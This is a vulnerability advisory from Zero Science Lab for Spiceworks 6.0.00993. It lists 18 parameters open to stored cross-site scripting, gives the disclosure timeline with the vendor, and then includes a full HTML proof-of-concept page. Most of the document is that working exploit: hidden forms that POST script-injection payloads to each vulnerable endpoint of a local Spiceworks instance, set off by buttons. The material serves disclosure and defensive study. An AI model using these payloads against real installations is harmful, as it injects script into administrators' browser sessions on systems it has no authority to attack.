<!--
Title: Spiceworks 6.0.00993 Multiple Script Injection Vulnerabilities
Vendor: Spiceworks Inc.
Product web page: http://www.spiceworks.com
Affected version: 6.0.00993 and 6.0.00966
Summary: The Spiceworks IT Desktop delivers nearly everything you need to simplify your
IT job. Available in a variety of languages, Spiceworks' single, easy-to-use interface
combines Network Inventory, Help Desk, Mapping, Reporting, Monitoring and Troubleshooting.
And, it connects you with other IT pros to share ideas, solve problems and decide what
additional features you need in Spiceworks.
Desc: Spiceworks suffers from multiple stored cross-site scripting vulnerabilities. The
issues are triggered when input passed via several parameters to several scripts is not
properly sanitized before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context of an affected site.
List of parameters and modules that are affected:
--------------------------------------------------------------------------------------------------------------
# * Parameter * * Module / Component *
--------------------------------------------------------------------------------------------------------------
1. agreement[account] ...................................... agreements
2. article[new_references][][url] .......................... xbb/knowledge_base
3. asset[device_type] ...................................... asset
4. asset[mac_address] ...................................... asset
5. asset[name] ............................................. asset
6. category[name] .......................................... settings/categories
7. international[global_date_abbrev_format] ................ settings/advanced/save_international_settings
8. international[global_date_format] ....................... settings/advanced/save_international_settings
9. international[global_date_time_format] .................. settings/advanced/save_international_settings
10. international[global_date_simple_format] ................ settings/advanced/save_international_settings
11. international[global_time_format] ....................... settings/advanced/save_international_settings
12. navigation[name] ........................................ my_tools
13. purchase[name] .......................................... purchases
14. purchase[price] ......................................... purchases
15. purchase[purchased_for_name] ............................ purchases
16. report[description] ..................................... reports/create
17. vendor[name] ............................................ agreements
18. vendor[website] ......................................... agreements
--------------------------------------------------------------------------------------------------------------
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Apache 2.2.19
Ruby 1.9.1
SQLite 3.7.5
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.mk
Vendor status:
[26.08.2012] Vulnerabilities discovered.
[29.08.2012] Contact with the vendor.
[29.08.2012] Vendor responds asking more details.
[29.08.2012] Sent detailed information to the vendor.
[29.08.2012] Vendor confirms receiving files.
[03.09.2012] Asked vendor for confirmation.
[04.09.2012] Vendor awaits status from submited ticket to development team.
[11.09.2012] Asked vendor for status update.
[11.09.2012] Vendor says that the development team is still investigating.
[13.09.2012] Informed the vendor that the advisory will be published on 17th of September.
[14.09.2012] Vendor replies stating that a developer will contact us.
[17.09.2012] No contact from the development team.
[17.09.2012] Public security advisory released.
Advisory ID: ZSL-2012-5107
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5107.php
Spiceworks: http://community.spiceworks.com/help#Current
26.08.2012
-->
<html>
<head>
<title>Spiceworks 6.0.00993 Multiple Script Injection Vulnerabilities</title>
<link rel="Shortcut Icon" href="http://zeroscience.mk/favicon.ico" type="image/x-icon">
</head>
<body bgcolor="#1C1C1C" leftmargin="100"><br />
<img style="margin-left:10" src="http://zeroscience.mk/images/zsl-logo1.png" hight="20%" width="20%">
<script type="text/javascript">
var disclaimer = "This document and all the information it contains are provided \"as is\",\n" +
"for educational purposes only, without warranty of any kind, whether\n" +
"express or implied.\n\n" +
"The author reserves the right not to be responsible for the topicality,\n" +
"correctness, completeness or quality of the information provided in\n" +
"this document. Liability claims regarding damage caused by the use of\n" +
"any information provided, including any kind of information which is\n" +
"incomplete or incorrect, will therefore be rejected.";
var answ = confirm(disclaimer);
if (answ == true){}else{window.location.href = "http://www.spiceworks.com";}
function xss1(){document.forms["xss1"].submit();}
function xss2(){document.forms["xss2"].submit();}
function xss3(){document.forms["xss3"].submit();}
function xss4(){document.forms["xss4"].submit();}
function xss5(){document.forms["xss5"].submit();}
function xss6(){document.forms["xss6"].submit();}
function xss7(){document.forms["xss7"].submit();}
function xss8(){document.forms["xss8"].submit();}
</script>
<center><h2 style="position:absolute;left:525;top:32;background-color:#BAB8B9;width:200">
HTML Response:</h2></center>
<iframe src="http://localhost/login" width="1100" height="700"
name="ZSL_iframe" align="top" frameborder="1" style="position:absolute;left:525;
top:80;background-color:#cecece;border-color:#FFFFFF"></iframe>
<font color="#FF6633" size="2" style="position:absolute;top:795px;right:55px">v1.6</font>
<form action="http://localhost/agreements"
enctype="application/x-www-form-urlencoded" method="POST" id="xss1" target="ZSL_iframe">
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />
<input type="hidden" name="agreement[account]" value='"><script>alert(1);</script>' />
<input type="hidden" name="agreement[account_manager]" value="" />
<input type="hidden" name="agreement[agreement_type]" value="other-vendor" />
<input type="hidden" name="agreement[cost]" value="1" />
<input type="hidden" name="agreement[cost_unit]" value="per month" />
<input type="hidden" name="agreement[email]" value="" />
<input type="hidden" name="agreement[phone]" value="" />
<input type="hidden" name="agreement[service_end]" value="1" />
<input type="hidden" name="agreement[service_start]" value="" />
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
<input type="hidden" name="from" value="sp_toolbar" />
<input type="hidden" name="purchase_id" value="" />
<input type="hidden" name="vendor[id]" value="" />
<input type="hidden" name="vendor[name]" value='"><script>alert(2);</script>' />
<input type="hidden" name="vendor[website]" value='"><script>alert(3);</script>' />
</form>
<!-- (New Article in Knowledge Base) -->
<form action="http://localhost/xbb/knowledge_base?uuid=f467c1ba-9b18-4325-b441-de9b4f42f555&ehash=edad6981ec082863da194e104a9257ff"
enctype="application/x-www-form-urlencoded" method="POST" id="xss2" target="ZSL_iframe">
<input type="hidden" name="article[end_content]" value="" />
<input type="hidden" name="article[new_references][][temp_id]" value="c33" />
<input type="hidden" name="article[new_references][][title]" value="ZSL" />
<input type="hidden" name="article[new_references][][url]" value='"><script>alert(4);</script>' />
<input type="hidden" name="article[new_steps][][content]" value="1" />
<input type="hidden" name="article[new_steps][][position]" value="1" />
<input type="hidden" name="article[new_steps][][temp_id]" value="c30" />
<input type="hidden" name="article[new_steps][][title]" value="1" />
<input type="hidden" name="article[shared_with]" value="0" />
<input type="hidden" name="article[start_content]" value="1" />
<input type="hidden" name="article[title]" value="1" />
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
</form>
<form action="http://localhost/asset"
enctype="application/x-www-form-urlencoded" method="POST" id="xss3" target="ZSL_iframe">
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />
<input type="hidden" name="active_tab" value="general" />
<input type="hidden" name="asset[c_purchase_date]" value="" />
<input type="hidden" name="asset[c_purchase_price]" value="12" />
<input type="hidden" name="asset[device_type]" value='"><script>alert(5);</script>' />
<input type="hidden" name="asset[mac_address]" value='"><script>alert(6);</script>' />
<input type="hidden" name="asset[manually_added]" value="true" />
<input type="hidden" name="asset[name]" value='"><script>alert(7);</script>' />
<input type="hidden" name="asset[serial_number]" value="111" />
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
<input type="hidden" name="category_from" value="8" />
<input type="hidden" name="custom_reclassify" value="" />
<input type="hidden" name="from" value="dashboard" />
<input type="hidden" name="mode" value="" />
<input type="hidden" name="shown" value="true" />
</form>
<form action="http://localhost/settings/categories"
enctype="application/x-www-form-urlencoded" method="POST" id="xss4" target="ZSL_iframe">
<input type="hidden" name="_method" value="put" />
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
<input type="hidden" name="category[icon]" value="user_defined" />
<input type="hidden" name="category[id]" value="39" />
<input type="hidden" name="category[name]" value='"><script>alert(8);</script>' />
<input type="hidden" name="category[rule_set_attributes][and_or]" value="OR" />
<input type="hidden" name="category[rule_set_attributes][klass]" value="Device" />
<input type="hidden" name="icon" value="" />
</form>
<form action="http://localhost/settings/advanced/save_international_settings"
enctype="application/x-www-form-urlencoded" method="POST" id="xss5" target="ZSL_iframe">
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
<input type="hidden" name="btn" value="save" />
<input type="hidden" name="international[currency]" value="USD" />
<input type="hidden" name="international[global_date_abbrev_format]" value='"><script>alert(9);</script>' />
<input type="hidden" name="international[global_date_format]" value='"><script>alert(10);</script>' />
<input type="hidden" name="international[global_date_simple_format]" value='"><script>alert(11);</script>' />
<input type="hidden" name="international[global_date_time_format]" value='"><script>alert(12);</script>' />
<input type="hidden" name="international[global_time_format]" value='"><script>alert(13);</script>' />
<input type="hidden" name="international[locale]" value="en" />
</form>
<form action="http://localhost/my_tools"
enctype="application/x-www-form-urlencoded" method="POST" id="xss6" target="ZSL_iframe">
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
<input type="hidden" name="navigation[name]" value='"><script>alert(14);</script>' />
<input type="hidden" name="navigation[url]" value="1" />
</form>
<form action="http://localhost/purchases"
enctype="application/x-www-form-urlencoded" method="POST" id="xss7" target="ZSL_iframe">
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />
<input type="hidden" name="active_tab" value="undefined" />
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
<input type="hidden" name="purchase[agreement_id]" value="" />
<input type="hidden" name="purchase[agreement_id]" value="" />
<input type="hidden" name="purchase[charge_to]" value="General" />
<input type="hidden" name="purchase[name]" value='"><script>alert(15);</script>' />
<input type="hidden" name="purchase[notes]" value="" />
<input type="hidden" name="purchase[part_number]" value="" />
<input type="hidden" name="purchase[price]" value='"><script>alert(16);</script>' />
<input type="hidden" name="purchase[purchase_order]" value="" />
<input type="hidden" name="purchase[purchased_for_id]" value="" />
<input type="hidden" name="purchase[purchased_for_name]" value='"><script>alert(17);</script>' />
<input type="hidden" name="purchase[purchased_for_type]" value="" />
<input type="hidden" name="purchase[quantity]" value="1" />
<input type="hidden" name="purchase_source" value="purchases_page" />
<input type="hidden" name="viewing_asset_id" value="undefined" />
<input type="hidden" name="viewing_asset_type" value="undefined" />
</form>
<form action="http://localhost/reports/create"
enctype="application/x-www-form-urlencoded" method="POST" id="xss8" target="ZSL_iframe">
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
<input type="hidden" name="btn" value="" />
<input type="hidden" name="form_action" value="create" />
<input type="hidden" name="report[and_or]" value="AND" />
<input type="hidden" name="report[class_type]" value="DeviceReport" />
<input type="hidden" name="report[description]" value='"><script>alert(18);</script>' />
<input type="hidden" name="report[id]" value="" />
<input type="hidden" name="report[name]" value="Zero Science Lab" />
<input type="hidden" name="report[public]" value="0" />
<input type="hidden" name="report[public]" value="1" />
<input type="hidden" name="report[sql]" value="" />
<input type="hidden" name="report_field[][field_name]" value="name" />
<input type="hidden" name="report_field[][field_name]" value="primary_owner_name" />
<input type="hidden" name="report_field[][field_name]" value="ip_address" />
<input type="hidden" name="report_field[][field_name]" value="operating_system" />
<input type="hidden" name="report_field[][field_name]" value="serial_number" />
<input type="hidden" name="report_field[][field_name]" value="manufacturer" />
<input type="hidden" name="report_field[][field_name]" value="device_type" />
<input type="hidden" name="report_field_add" value="" />
<input type="hidden" name="report_fields_selected[]" value="name" />
<input type="hidden" name="report_fields_selected[]" value="primary_owner_name" />
<input type="hidden" name="report_fields_selected[]" value="ip_address" />
<input type="hidden" name="report_fields_selected[]" value="operating_system" />
<input type="hidden" name="report_fields_selected[]" value="serial_number" />
<input type="hidden" name="report_fields_selected[]" value="manufacturer" />
<input type="hidden" name="report_fields_selected[]" value="device_type" />
<input type="hidden" name="report_filter[1346077855344195][key]" value="name" />
<input type="hidden" name="report_filter[1346077855344195][operator]" value="contains" />
<input type="hidden" name="report_filter[1346077855344195][value]" value="Begin typing for options..." />
<input type="hidden" name="run" value="1" />
</form>
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
value=" 1. agreement[account] 2. vendor[name]
3. vendor[website]" onClick="xss1()" />
<br />
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
value=" 4. article[new_references][][url]" onClick="xss2()" />
<br />
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
value=" 5. asset[device_type] 6. asset[mac_address]
7. asset[name]" onClick="xss3()" />
<br />
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
value=" 8. category[name]" onClick="xss4()" />
<br />
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
value=" 9. international[global_date_abbrev_format] 10. international[global_date_format]
11. international[global_date_time_format] 12. international[global_date_simple_format]
13. international[global_time_format]" onClick="xss5()" />
<br />
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
value="14. navigation[name]" onClick="xss6()" />
<br />
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
value="15. purchase[name] 16. purchase[price] 17. purchase[purchased_for_name]" onClick="xss7()" />
<br />
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
value="18. report[description]" onClick="xss8()" />
<br /><font color="#FF6633" style="margin-left:20">==================================<br />
<br /><br /><br />
<font color="#FF6633" size="1" style="margin-left:20">2012 © <a href="http://www.zeroscience.mk"
target="_blank" style="text-decoration:none"><font color="#FF6633">Zero Science Lab</font></a>
</body></html>